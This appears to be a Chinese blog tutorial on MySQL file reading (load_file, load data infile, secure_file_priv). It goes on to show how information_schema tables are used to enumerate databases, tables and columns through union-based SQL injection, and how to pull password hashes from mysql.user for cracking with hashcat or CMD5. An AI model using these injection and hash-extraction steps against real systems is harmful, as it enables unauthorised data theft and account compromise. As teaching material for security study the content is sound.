MySQL資料庫檔案讀寫
權限要求:
-
具備讀寫權限并且目標檔案為可讀內容
-
目標內容具有完整路徑且目錄可訪問
-
目標內容是否具備檔案讀寫操作權限
查看是否有檔案讀寫權限
show variables like '%secure%';

secure_file_priv絕對檔案讀取的功能?
null:不允許任何匯入匯出?
./[url]:匯入/匯出操作只可以在./[url]路徑下進行?
:空內容;匯入匯出無限制在my.ini檔案中,修改
secure_file_priv屬性值可以修改匯入匯出權限
確保具備檔案匯入匯出權限后即可進行檔案讀寫操作~~~
讀寫檔案:
資料庫表讀取檔案中的內容并保存~
load_file:
load_file(<[./url/]file>);
load_file 在指定的目錄下創建檔案
首先我們需要在/var/lib/mysql-files/創建一個檔案user.txt
$ vi /var/lib/mysql-files/user.txt user.txt: Hello,World!
create table file(
id int not null auto_increment primary key,
file_url text
)engine=innodb default charset=utf8; -- 創建表file
insert into file(file_url) values (load_file('/var/lib/mysql-files/user.txt'));
mysql> select * from file;
+----+---------------+
| id | file_url |
+----+---------------+
| 1 | NULL |
| 2 | Hello,World! |
+----+---------------+
2 rows in set (0.00 sec)
檔案中的資料內容就這樣寫入了資料表中!
load data infile:
load data infile '/var/lib/mysql-files/name.txt' into table file(file_url);
mysql> mysql> select * from file;
+----+---------------+
| id | file_url |
+----+---------------+
| 1 | NULL |
| 2 | Hello,World! |
| 3 | Hello,World! |
+----+---------------+
3 rows in set (0.00 sec)
注入利用:
我們可以通過前期的滲透手段和分析得知目標網站某處存在SQL注入漏洞;于是我們就可以利用SQL的檔案讀取的特性來讀取目標系統中的某個檔案的內容
MySQL資料庫系統表
MySQL在剛剛初始化后,默認有三個系統默認庫:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
這些事MySQL資料庫自帶的三個基本的系統庫
information_schema:
其中保存有MYSQL所維護的所有資料庫資訊,包括庫名、表名、表列、權限……等資訊
performance_schema:
用于收集資料庫服務器的性能引數
mysql:s
保留mysql的賬戶資訊、權限、存盤程序、event、時區等配置資訊
information_schema庫:
information_schema 庫通常保存由資料庫的元資料:
? 資料庫名,表名,列的屬性、型別、訪問權限等等……
在information_schema庫中有許多重要的系統表,可以為滲透程序中提供幫助!
SCHEMATA表:庫資訊
提供了當前MySQL所有庫的資訊,show databases;的結果就是據此而顯示~
tables表:表資訊
information_schema.tables 表中提供了表的詳細資訊
select <列名> from information_schema.tables;
table表中主要記錄了資料庫中所有表的元資料,例如表名、型別、引擎……
在滲透程序中,如果我們掌握到這張表就可以掌握資料庫的大概的表

COLUMNS表:欄位資訊
information_schema.COLUMNS表中提供了表中欄位資訊
select COLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT
from information_schema.COLUMNS
where table_name = 'user';
查詢user表中的欄位名資訊

STATISTICS表:索引資訊
information_statistics表中提供表的索引資訊內容
TRIGGERS表:觸發器資訊
VIEWS表:視圖資訊
USER_PRIVLEGES表:用戶權限表
資訊源自于mysql.user授權表;里面保存著資料庫每個賬戶具備的權限資訊
SCHEMA_PRIVLEGES表:方案(庫)權限表
資訊源自于mysql.db授權表,保存著資料庫的權限的資訊
TABLE_PRIVLEGES表:表權限表
資訊源自于mysql.tables_prive授權表,保存所有表資訊的權限
COLUMNS_PRIVLEGES表:列權限表
資訊源自于mysql.columns_prives授權表,保存表列的權限資訊
CHARCTER_SETS表:字符集表
提供mysql所有相關的字符集資訊
使用系統表注入
*在SQL注入中union聯合注入是最為常見的

普遍的情況下,使用union陳述句實作聯合注入(回顯注入)……
' union <SQL陳述句>; #
現在簡單的舉例幾條SQL陳述句實作核心的條件查詢
MySQL注入查詢SQL:
查當前 庫名:
select 1 , database();
查庫 SQL陳述句:
select schema_nam from information_schema.schemata;
查表 SQL陳述句:
select table_name from information_schema.tables where table_schema = "<databases_name>";
查列(欄位) SQL陳述句:
select columns_name from information_schema.columns where table_name = "<tables_name>";
順帶一提~SQL盲注
上面說的SQL注入是基于頁面有“回顯”的注入(回顯注入)
如果頁面沒有回顯,那么就需要進行“盲注入”
hash破解*
獲取管理員hash:
select user,password from mysql.user;

破解hash:
推薦神器:hashcat
推薦網站:CMD5(本例使用CMD5網站破解)

成功解出密碼……_!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/10967.html
標籤:訊息安全
上一篇:PHP代碼審計基礎-高級篇
下一篇:Odoo系統有哪些不同版本?
